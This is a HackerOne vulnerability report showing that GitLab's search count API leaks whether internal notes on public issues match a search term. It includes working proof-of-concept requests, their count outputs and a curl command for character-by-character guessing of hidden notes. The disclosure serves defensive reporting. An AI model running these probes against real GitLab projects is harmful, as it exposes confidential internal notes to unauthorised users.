Gitlab search allows leaking internal notes

HackerOne report #1829768 by shells3c on 2023-01-10, assigned to @ameyadarshan:

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Summary

Gitlab search count API returns the count of results gotten from internal notes despite users having no permission to view those notes. This results in guessing/brute-forcing the internal notes

Steps to reproduce

1. Create a public project, then a public issue and make an internal note with the message: Internal comment
2. Logout and do the following tests:

https://gitlab.com/search/count?project_id=<ID>&scope=notes&search="Internal c"

{"count":"1"}  

https://gitlab.com/search/count?project_id=<ID>&scope=notes&search="Internal cc"

{"count":"0"}  

https://gitlab.com/search/count?project_id=<ID>&scope=notes&search="Internal co"

{"count":"1"}  

https://gitlab.com/search/count?project_id=<ID>&scope=notes&search="Internal comment"

{"count":"1"}  

Examples

I have created an example project for testing:

curl 'https://gitlab.com/search/count?project_id=25681831&scope=notes&search=%22CVE-2021-1234%22'

{"count":"1"}  

You can confirm that the note CVE-2021-1234 exists, even though you can't see it in the Gitlab search results: https://gitlab.com/search?project_id=25681831&scope=notes&search=%22CVE-2021-1234%22

Impact

Leaking internal notes of public issues

How To Reproduce

Please add reproducibility information to this section: